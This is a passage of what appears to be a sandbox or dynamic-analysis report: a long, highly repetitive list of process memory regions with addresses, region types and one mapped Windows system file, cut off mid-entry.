pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1947 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1948 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1949 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1950 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1951 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1952 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1953 start_va = 0x1e0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1954 start_va = 0x270000 end_va = 0x277fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 1955 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1956 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1957 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1958 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1959 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1960 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1961 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1962 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1963 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1964 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1965 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1966 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1967 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1968 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1969 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1970 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1971 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1972 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1973 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1974 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1975 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1976 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1977 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1978 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1979 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1980 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1981 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1982 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1983 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1984 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1985 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1986 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1987 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1988 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1989 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1990 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1991 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1992 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1993 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1994 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1995 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1996 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1997 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1998 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1999 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2000 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2001 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2002 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2003 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2004 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2005 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2006 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2007 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2008 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2009 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2010 start_va = 0x1e0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2011 start_va = 0x270000 end_va = 0x277fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 2012 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2013 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2014 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2015 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2016 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2017 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2018 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2019 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2020 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2021 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2022 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2023 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2024 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2025 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2026 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2027 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2028 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2029 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2030 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2031 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2032 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2033 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2034 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2035 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2036 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2037 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2038 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2039 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2040 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2041 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2042 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2043 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2044 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2045 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2046 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2047 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2048 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2049 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2050 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2051 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2052 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2053 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2054 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2055 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2056 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2057 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2058 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2059 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2060 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2061 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2062 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2063 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2064 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2065 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2066 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2067 start_va = 0x1e0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2068 start_va = 0x270000 end_va = 0x277fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 2069 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2070 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2071 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2072 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2073 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2074 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2075 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2076 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2077 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2078 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2079 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2080 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2081 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2082 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2083 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2084 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2085 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2086 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2087 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2088 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2089 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2090 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2091 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2092 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2093 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2094 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2095 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2096 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2097 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2098 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2099 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2100 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2101 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2102 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2103 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2104 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2105 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2106 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2107 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2108 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2109 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2110 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2111 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2112 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2113 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2114 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2115 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2116 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2117 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2118 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2119 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2120 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2121 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2122 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2123 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2124 start_va = 0x3c80000 end_va = 0x3d3ffff entry_point = 0x3c80000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 2125 start_va = 0x1e0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2126 start_va = 0x270000 end_va = 0x277fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 2127 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2128 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2129 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2130 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2131 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2132 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2133 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2134 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2135 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2136 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2137 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2138 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2139 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2140 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2141 start_va = 0x1e0000 end_va = 